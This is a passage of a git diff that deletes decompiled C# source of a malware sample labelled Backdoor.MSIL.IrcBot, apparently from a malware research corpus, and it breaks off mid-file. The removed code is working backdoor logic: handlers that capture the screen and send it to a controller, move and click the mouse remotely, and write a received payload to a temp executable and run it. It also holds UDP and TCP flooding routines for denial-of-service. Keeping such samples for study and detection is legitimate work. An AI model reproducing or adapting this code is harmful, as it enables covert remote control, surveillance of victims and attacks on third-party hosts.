- object[] Arguments13 = objArray70;
- int integer1 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance39, Arguments13, (string[]) null));
- ref int local57 = ref integer1;
- Array Instance40 = Instance1;
- object[] objArray72 = new object[1];
- object[] objArray73 = objArray72;
- int num51 = 3;
- // ISSUE: variable of a boxed type
- __Boxed local58 = (ValueType) num51;
- objArray73[0] = (object) local58;
- object[] Arguments14 = objArray72;
- int integer2 = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance40, Arguments14, (string[]) null));
- ref int local59 = ref integer2;
- API.wd.G(ref local57, ref local59);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num51,
- (object) integer2
- }, (string[]) null, true, false);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num50,
- (object) integer1
- }, (string[]) null, true, false);
- }
- else
- {
- if (!Operators.ConditionalCompareObjectEqual(Left3, (object) "$", false))
- return;
- MemoryStream memoryStream1 = new MemoryStream();
- Array Instance41 = Instance1;
- object[] objArray74 = new object[1];
- object[] objArray75 = objArray74;
- int num52 = 2;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num52;
- objArray75[0] = (object) local;
- object[] Arguments = objArray74;
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance41, Arguments, (string[]) null));
- Image image = C.Capture(ref integer);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num52,
- (object) integer
- }, (string[]) null, true, false);
- MemoryStream memoryStream2 = memoryStream1;
- ImageFormat jpeg = ImageFormat.Jpeg;
- image.Save((Stream) memoryStream2, jpeg);
- MemoryStream memoryStream3 = new MemoryStream();
- memoryStream3.Write(MyProject.Forms.B.WC.STB("#18" + IND.Y), 0, MyProject.Forms.B.WC.STB("#18" + IND.Y).Length);
- memoryStream3.Write(memoryStream1.ToArray(), 0, memoryStream1.ToArray().Length);
- MyProject.Forms.B.WC.SendData(memoryStream3.ToArray());
- memoryStream1.Dispose();
- memoryStream3.Dispose();
- MyProject.Forms.B = (B) null;
- }
- }
- else if (Operators.CompareString(Left1, "#29", false) == 0)
- {
- IND.ER = 0;
- B b = MyProject.Forms.B;
- string str69 = "#Bla";
- ref string local60 = ref str69;
- b.SEND(ref local60);
- int num53 = 0;
- string str70;
- while (File.Exists(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe"))
- {
- try
- {
- File.Delete(Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe");
- str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
- goto label_259;
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- ++num53;
- if (num53 > 999)
- goto label_259;
- }
- str70 = Interaction.Environ("temp") + "\\" + Conversions.ToString(num53) + ".exe";
-label_259:
- string path = str70;
- byte[] Byt = API.FDE(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null)));
- bool flag = false;
- ref bool local61 = ref flag;
- byte[] bytes = API.ZIP(Byt, ref local61);
- File.WriteAllBytes(path, bytes);
- Process.Start(new ProcessStartInfo()
- {
- FileName = str70,
- Arguments = "!0@" + Application.ExecutablePath + "@" + B.SU + "@" + Conversions.ToString(Process.GetCurrentProcess().Id)
- });
- ProjectData.EndApp();
- }
- else if (Operators.CompareString(Left1, "#30", false) == 0)
- {
- try
- {
- Array Instance42 = Instance1;
- object[] objArray76 = new object[1];
- object[] objArray77 = objArray76;
- int num54 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num54;
- objArray77[0] = (object) local;
- object[] Arguments = objArray76;
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance42, Arguments, (string[]) null));
- byte[] numArray = sc.gc(ref integer);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num54,
- (object) integer
- }, (string[]) null, true, false);
- byte[] buffer = numArray;
- MemoryStream memoryStream = new MemoryStream();
- memoryStream.Write(Encoding.Default.GetBytes("#19" + IND.Y), 0, Encoding.Default.GetBytes("#19" + IND.Y).Length);
- memoryStream.Write(buffer, 0, buffer.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- }
- catch (Exception ex)
- {
- int lErl = num2;
- ProjectData.SetProjectError(ex, lErl);
- ProjectData.ClearProjectError();
- }
- }
- else if (Operators.CompareString(Left1, "#31", false) == 0)
- {
- IND.ER = 0;
- if (B.Busy)
- return;
- B.Busy = true;
- B b = MyProject.Forms.B;
- string str71 = "#16" + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Width) + IND.Y + Conversions.ToString(MyProject.Computer.Screen.Bounds.Height);
- ref string local = ref str71;
- b.SEND(ref local);
- B.Busy = false;
- }
- else if (Operators.CompareString(Left1, "#32", false) == 0)
- {
- IND.ER = 0;
- Cursor.Position = new Point(Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 2
- }, (string[]) null)), Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 3
- }, (string[]) null)));
- object Left4 = NewLateBinding.LateIndexGet((object) Instance1, new object[1]
- {
- (object) 1
- }, (string[]) null);
- if (Operators.ConditionalCompareObjectEqual(Left4, (object) 0, false))
- {
- IND.mouse_event(8, 0, 0, 0, 1);
- IND.mouse_event(16, 0, 0, 0, 1);
- }
- else if (Operators.ConditionalCompareObjectEqual(Left4, (object) 1, false))
- {
- IND.mouse_event(2, 0, 0, 0, 1);
- IND.mouse_event(4, 0, 0, 0, 1);
- }
- else
- {
- if (!Operators.ConditionalCompareObjectEqual(Left4, (object) 2, false))
- return;
- IND.mouse_event(2, 0, 0, 0, 1);
- IND.mouse_event(4, 0, 0, 0, 1);
- IND.mouse_event(2, 0, 0, 0, 1);
- IND.mouse_event(4, 0, 0, 0, 1);
- }
- }
- else if (Operators.CompareString(Left1, "#33", false) == 0)
- {
- B b = MyProject.Forms.B;
- string str72 = "#5" + IND.Y + API.Gt();
- ref string local = ref str72;
- b.SEND(ref local);
- }
- else
- {
- if (Operators.CompareString(Left1, "#34", false) != 0)
- return;
- IND.ER = 0;
- Array Instance43 = Instance1;
- object[] objArray78 = new object[1];
- object[] objArray79 = objArray78;
- int num55 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local = (ValueType) num55;
- objArray79[0] = (object) local;
- object[] Arguments = objArray78;
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance43, Arguments, (string[]) null));
- byte[] numArray = C.Capture1(ref integer);
- NewLateBinding.LateIndexSetComplex((object) Instance1, new object[2]
- {
- (object) num55,
- (object) integer
- }, (string[]) null, true, false);
- byte[] buffer = numArray;
- if (buffer.Length == 0)
- return;
- MemoryStream memoryStream = new MemoryStream();
- memoryStream.Write(Encoding.Default.GetBytes("#6" + IND.Y), 0, IND.Y.Length + 2);
- memoryStream.Write(buffer, 0, buffer.Length);
- MyProject.Forms.B.WC.SendData(memoryStream.ToArray());
- }
- }
- catch (Exception ex)
- {
- int lErl = num1;
- ProjectData.SetProjectError(ex, lErl);
- Exception exception = ex;
- B.Busy = false;
- B b = MyProject.Forms.B;
- string[] strArray13 = new string[6]
- {
- "#10",
- IND.Y,
- "^",
- Conversions.ToString(IND.ER),
- IND.Y,
- null
- };
- string[] strArray14 = strArray13;
- string message = exception.Message;
- string str73 = API.ENB(ref message);
- strArray14[5] = str73;
- string str74 = string.Concat(strArray13);
- ref string local = ref str74;
- b.SEND(ref local);
- IND.ER = 0;
- ProjectData.ClearProjectError();
- }
- }
-
- public static string siz(string Size)
- {
- if (Size.Length < 4)
- return Size + " Bytes";
- string str1 = Conversions.ToString(Conversions.ToDouble(Size) / 1024.0);
- string str2 = " KB";
- int integer;
- if (Strings.InStr(str1, ".") > 0)
- {
- Array Instance = (Array) Strings.Split(str1, ".");
- str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null));
- if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length > 3)
- integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null)), 1, 3));
- else
- integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null));
- }
- if (str1.Length > 3)
- {
- str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
- str2 = " MB";
- if (Strings.InStr(str1, ".") > 0)
- {
- Array Instance = (Array) Strings.Split(str1, ".");
- str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null));
- if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length > 3)
- integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null)), 1, 3));
- else
- integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null));
- }
- }
- if (str1.Length > 3)
- {
- str1 = Conversions.ToString(Conversions.ToDouble(str1) / 1024.0);
- str2 = " GB";
- if (Strings.InStr(str1, ".") > 0)
- {
- Array Instance = (Array) Strings.Split(str1, ".");
- str1 = Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 0
- }, (string[]) null));
- if (NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null).ToString().Length > 3)
- integer = Conversions.ToInteger(Strings.Mid(Conversions.ToString(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null)), 1, 3));
- else
- integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Instance, new object[1]
- {
- (object) 1
- }, (string[]) null));
- }
- }
- return str1 + "." + Conversions.ToString(integer) + str2;
- }
-
- [DllImport("user32", CharSet = CharSet.Ansi, SetLastError = true)]
- public static extern void mouse_event(
- int dwFlags,
- int dx,
- int dy,
- int cButtons,
- int dwExtraInfo);
-
- public static byte[] SB(ref string s, ref byte[] B)
- {
- MemoryStream memoryStream = new MemoryStream();
- byte[] bytes = Encoding.Default.GetBytes(s);
- memoryStream.Write(bytes, 0, bytes.Length);
- byte[] Byt = B;
- bool flag = true;
- ref bool local = ref flag;
- byte[] buffer = API.ZIP(Byt, ref local);
- memoryStream.Write(buffer, 0, buffer.Length);
- return memoryStream.ToArray();
- }
-
- public static string _P(ref int y)
- {
- IND.pk = "";
- int num = y;
- for (int index = 0; index <= num; ++index)
- IND.pk += "A";
- return IND.pk;
- }
-
- public static void Du(Array z)
- {
- byte[] numArray = new byte[0];
- Encoding ascii = Encoding.ASCII;
- int y = 1000;
- string s = IND._P(ref y);
- byte[] bytes = ascii.GetBytes(s);
- try
- {
- TcpClient tcpClient = new TcpClient();
- Socket client = tcpClient.Client;
- object[] objArray1 = new object[2];
- object[] objArray2 = objArray1;
- Array Instance1 = z;
- object[] objArray3 = new object[1];
- object[] objArray4 = objArray3;
- int num1 = 0;
- // ISSUE: variable of a boxed type
- __Boxed local1 = (ValueType) num1;
- objArray4[0] = (object) local1;
- object[] Arguments1 = objArray3;
- object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
- objArray2[0] = objectValue1;
- object[] objArray5 = objArray1;
- Array Instance2 = z;
- object[] objArray6 = new object[1];
- object[] objArray7 = objArray6;
- int num2 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local2 = (ValueType) num2;
- objArray7[0] = (object) local2;
- object[] Arguments2 = objArray6;
- object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
- objArray5[1] = objectValue2;
- object[] objArray8 = objArray1;
- object[] Arguments3 = objArray8;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) z, new object[2]
- {
- (object) num1,
- RuntimeHelpers.GetObjectValue(objArray8[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- NewLateBinding.LateIndexSetComplex((object) z, new object[2]
- {
- (object) num2,
- RuntimeHelpers.GetObjectValue(objArray8[1])
- }, (string[]) null, true, false);
- tcpClient.Close();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- return;
- }
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) z, new object[1]
- {
- (object) 2
- }, (string[]) null));
- for (int index = 0; index <= integer; ++index)
- {
- UdpClient udpClient = new UdpClient();
- try
- {
- UdpClient Instance3 = udpClient;
- object[] objArray9 = new object[2];
- object[] objArray10 = objArray9;
- Array Instance4 = z;
- object[] objArray11 = new object[1];
- object[] objArray12 = objArray11;
- int num3 = 0;
- // ISSUE: variable of a boxed type
- __Boxed local3 = (ValueType) num3;
- objArray12[0] = (object) local3;
- object[] Arguments4 = objArray11;
- object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
- objArray10[0] = objectValue3;
- object[] objArray13 = objArray9;
- Array Instance5 = z;
- object[] objArray14 = new object[1];
- object[] objArray15 = objArray14;
- int num4 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local4 = (ValueType) num4;
- objArray15[0] = (object) local4;
- object[] Arguments5 = objArray14;
- object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
- objArray13[1] = objectValue4;
- object[] objArray16 = objArray9;
- object[] Arguments6 = objArray16;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) z, new object[2]
- {
- (object) num3,
- RuntimeHelpers.GetObjectValue(objArray16[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- NewLateBinding.LateIndexSetComplex((object) z, new object[2]
- {
- (object) num4,
- RuntimeHelpers.GetObjectValue(objArray16[1])
- }, (string[]) null, true, false);
- udpClient.Client.SendTimeout = 500;
- udpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
-
- public static void DT(Array Z)
- {
- byte[] numArray = new byte[0];
- Encoding ascii = Encoding.ASCII;
- int y = 1000;
- string s = IND._P(ref y);
- byte[] bytes = ascii.GetBytes(s);
- try
- {
- TcpClient tcpClient = new TcpClient();
- Socket client = tcpClient.Client;
- object[] objArray1 = new object[2];
- object[] objArray2 = objArray1;
- Array Instance1 = Z;
- object[] objArray3 = new object[1];
- object[] objArray4 = objArray3;
- int num1 = 0;
- // ISSUE: variable of a boxed type
- __Boxed local1 = (ValueType) num1;
- objArray4[0] = (object) local1;
- object[] Arguments1 = objArray3;
- object objectValue1 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance1, Arguments1, (string[]) null));
- objArray2[0] = objectValue1;
- object[] objArray5 = objArray1;
- Array Instance2 = Z;
- object[] objArray6 = new object[1];
- object[] objArray7 = objArray6;
- int num2 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local2 = (ValueType) num2;
- objArray7[0] = (object) local2;
- object[] Arguments2 = objArray6;
- object objectValue2 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance2, Arguments2, (string[]) null));
- objArray5[1] = objectValue2;
- object[] objArray8 = objArray1;
- object[] Arguments3 = objArray8;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) client, (System.Type) null, "Connect", Arguments3, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
- {
- (object) num1,
- RuntimeHelpers.GetObjectValue(objArray8[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
- {
- (object) num2,
- RuntimeHelpers.GetObjectValue(objArray8[1])
- }, (string[]) null, true, false);
- tcpClient.Close();
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- return;
- }
- int integer = Conversions.ToInteger(NewLateBinding.LateIndexGet((object) Z, new object[1]
- {
- (object) 2
- }, (string[]) null));
- for (int index = 0; index <= integer; ++index)
- {
- TcpClient tcpClient = new TcpClient();
- try
- {
- TcpClient Instance3 = tcpClient;
- object[] objArray9 = new object[2];
- object[] objArray10 = objArray9;
- Array Instance4 = Z;
- object[] objArray11 = new object[1];
- object[] objArray12 = objArray11;
- int num3 = 0;
- // ISSUE: variable of a boxed type
- __Boxed local3 = (ValueType) num3;
- objArray12[0] = (object) local3;
- object[] Arguments4 = objArray11;
- object objectValue3 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance4, Arguments4, (string[]) null));
- objArray10[0] = objectValue3;
- object[] objArray13 = objArray9;
- Array Instance5 = Z;
- object[] objArray14 = new object[1];
- object[] objArray15 = objArray14;
- int num4 = 1;
- // ISSUE: variable of a boxed type
- __Boxed local4 = (ValueType) num4;
- objArray15[0] = (object) local4;
- object[] Arguments5 = objArray14;
- object objectValue4 = RuntimeHelpers.GetObjectValue(NewLateBinding.LateIndexGet((object) Instance5, Arguments5, (string[]) null));
- objArray13[1] = objectValue4;
- object[] objArray16 = objArray9;
- object[] Arguments6 = objArray16;
- bool[] flagArray = new bool[2]{ true, true };
- bool[] CopyBack = flagArray;
- NewLateBinding.LateCall((object) Instance3, (System.Type) null, "Connect", Arguments6, (string[]) null, (System.Type[]) null, CopyBack, true);
- if (flagArray[0])
- NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
- {
- (object) num3,
- RuntimeHelpers.GetObjectValue(objArray16[0])
- }, (string[]) null, true, false);
- if (flagArray[1])
- NewLateBinding.LateIndexSetComplex((object) Z, new object[2]
- {
- (object) num4,
- RuntimeHelpers.GetObjectValue(objArray16[1])
- }, (string[]) null, true, false);
- tcpClient.Client.SendTimeout = 500;
- tcpClient.Client.Send(bytes, bytes.Length, SocketFlags.None);
- }
- catch (Exception ex)
- {
- ProjectData.SetProjectError(ex);
- ProjectData.ClearProjectError();
- }
- }
- }
-
- public delegate void indd(string T);
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyApplication.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyApplication.cs
deleted file mode 100644
index a0fa9cb5..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyApplication.cs
+++ /dev/null
@@ -1,18 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MyApplication
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic.ApplicationServices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-
-namespace n.My
-{
- [EditorBrowsable(EditorBrowsableState.Never)]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- internal class MyApplication : ConsoleApplicationBase
- {
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyComputer.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyComputer.cs
deleted file mode 100644
index 47844178..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyComputer.cs
+++ /dev/null
@@ -1,24 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MyComputer
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic.Devices;
-using System.CodeDom.Compiler;
-using System.ComponentModel;
-using System.Diagnostics;
-
-namespace n.My
-{
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal class MyComputer : Computer
- {
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public MyComputer()
- {
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyProject.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyProject.cs
deleted file mode 100644
index 0a96fdda..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MyProject.cs
+++ /dev/null
@@ -1,225 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MyProject
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
-// MVID: BFCF94BC-F711-4A63-941E-52FC7F306AC7
-// Assembly location: C:\Users\Administrateur\Downloads\Virusshare-00000-msil\Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b.exe
-
-using Microsoft.VisualBasic;
-using Microsoft.VisualBasic.ApplicationServices;
-using Microsoft.VisualBasic.CompilerServices;
-using System;
-using System.CodeDom.Compiler;
-using System.Collections;
-using System.ComponentModel;
-using System.ComponentModel.Design;
-using System.Diagnostics;
-using System.Reflection;
-using System.Runtime.CompilerServices;
-using System.Runtime.InteropServices;
-using System.Windows.Forms;
-
-namespace n.My
-{
- [StandardModule]
- [GeneratedCode("MyTemplate", "8.0.0.0")]
- [HideModuleName]
- internal sealed class MyProject
- {
- private static readonly MyProject.ThreadSafeObjectProvider m_ComputerObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_AppObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_UserObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static MyProject.ThreadSafeObjectProvider m_MyFormsObjectProvider = new MyProject.ThreadSafeObjectProvider();
- private static readonly MyProject.ThreadSafeObjectProvider m_MyWebServicesObjectProvider = new MyProject.ThreadSafeObjectProvider();
-
- [HelpKeyword("My.Computer")]
- internal static MyComputer Computer
- {
- [DebuggerHidden] get => MyProject.m_ComputerObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.Application")]
- internal static MyApplication Application
- {
- [DebuggerHidden] get => MyProject.m_AppObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.User")]
- internal static User User
- {
- [DebuggerHidden] get => MyProject.m_UserObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.Forms")]
- internal static MyProject.MyForms Forms
- {
- [DebuggerHidden] get => MyProject.m_MyFormsObjectProvider.GetInstance;
- }
-
- [HelpKeyword("My.WebServices")]
- internal static MyProject.MyWebServices WebServices
- {
- [DebuggerHidden] get => MyProject.m_MyWebServicesObjectProvider.GetInstance;
- }
-
- [MyGroupCollection("System.Windows.Forms.Form", "Create__Instance__", "Dispose__Instance__", "My.MyProject.Forms")]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal sealed class MyForms
- {
- public B m_B;
- public chat m_chat;
- [ThreadStatic]
- private static Hashtable m_FormBeingCreated;
-
- public B B
- {
- get
- {
- this.m_B = MyProject.MyForms.Create__Instance__(this.m_B);
- return this.m_B;
- }
- set
- {
- if (value == this.m_B)
- return;
- if (value != null)
- throw new ArgumentException("Property can only be set to Nothing");
- this.Dispose__Instance__(ref this.m_B);
- }
- }
-
- public chat chat
- {
- get
- {
- this.m_chat = MyProject.MyForms.Create__Instance__(this.m_chat);
- return this.m_chat;
- }
- set
- {
- if (value == this.m_chat)
- return;
- if (value != null)
- throw new ArgumentException("Property can only be set to Nothing");
- this.Dispose__Instance__(ref this.m_chat);
- }
- }
-
- [DebuggerHidden]
- private static T Create__Instance__(T Instance) where T : Form, new()
- {
- if ((object) Instance != null && !Instance.IsDisposed)
- return Instance;
- if (MyProject.MyForms.m_FormBeingCreated != null)
- {
- if (MyProject.MyForms.m_FormBeingCreated.ContainsKey((object) typeof (T)))
- throw new InvalidOperationException(Utils.GetResourceString("WinForms_RecursiveFormCreate"));
- }
- else
- MyProject.MyForms.m_FormBeingCreated = new Hashtable();
- MyProject.MyForms.m_FormBeingCreated.Add((object) typeof (T), (object) null);
- try
- {
- return new T();
- }
- catch (TargetInvocationException ex) when (
- {
- // ISSUE: unable to correctly present filter
- ProjectData.SetProjectError((Exception) ex);
- if (ex.InnerException != null)
- {
- SuccessfulFiltering;
- }
- else
- throw;
- }
- )
- {
- throw new InvalidOperationException(Utils.GetResourceString("WinForms_SeeInnerException", ex.InnerException.Message), ex.InnerException);
- }
- finally
- {
- MyProject.MyForms.m_FormBeingCreated.Remove((object) typeof (T));
- }
- }
-
- [DebuggerHidden]
- private void Dispose__Instance__(ref T instance) where T : Form
- {
- instance.Dispose();
- instance = default (T);
- }
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public MyForms()
- {
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override int GetHashCode() => base.GetHashCode();
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal new System.Type GetType() => typeof (MyProject.MyForms);
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override string ToString() => base.ToString();
- }
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [MyGroupCollection("System.Web.Services.Protocols.SoapHttpClientProtocol", "Create__Instance__", "Dispose__Instance__", "")]
- internal sealed class MyWebServices
- {
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override bool Equals(object o) => base.Equals(RuntimeHelpers.GetObjectValue(o));
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override int GetHashCode() => base.GetHashCode();
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- internal new System.Type GetType() => typeof (MyProject.MyWebServices);
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public override string ToString() => base.ToString();
-
- [DebuggerHidden]
- private static T Create__Instance__(T instance) where T : new() => (object) instance == null ? new T() : instance;
-
- [DebuggerHidden]
- private void Dispose__Instance__(ref T instance) => instance = default (T);
-
- [EditorBrowsable(EditorBrowsableState.Never)]
- [DebuggerHidden]
- public MyWebServices()
- {
- }
- }
-
- [ComVisible(false)]
- [EditorBrowsable(EditorBrowsableState.Never)]
- internal sealed class ThreadSafeObjectProvider where T : new()
- {
- internal T GetInstance
- {
- [DebuggerHidden] get
- {
- if ((object) MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue == null)
- MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue = new T();
- return MyProject.ThreadSafeObjectProvider.m_ThreadStaticValue;
- }
- }
-
- [DebuggerHidden]
- [EditorBrowsable(EditorBrowsableState.Never)]
- public ThreadSafeObjectProvider()
- {
- }
- }
- }
-}
diff --git a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettings.cs b/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettings.cs
deleted file mode 100644
index fb61f906..00000000
--- a/MSIL/Backdoor/MSIL/I/Backdoor.MSIL.IrcBot.rg-f491500e8990b5ebf02b75925157ff5d0edfa67614fee6d43d8dfed47bf9403b/My/MySettings.cs
+++ /dev/null
@@ -1,30 +0,0 @@
-// Decompiled with JetBrains decompiler
-// Type: n.My.MySettings
-// Assembly: n, Version=0.0.0.0, Culture=neutral, PublicKeyToken=null
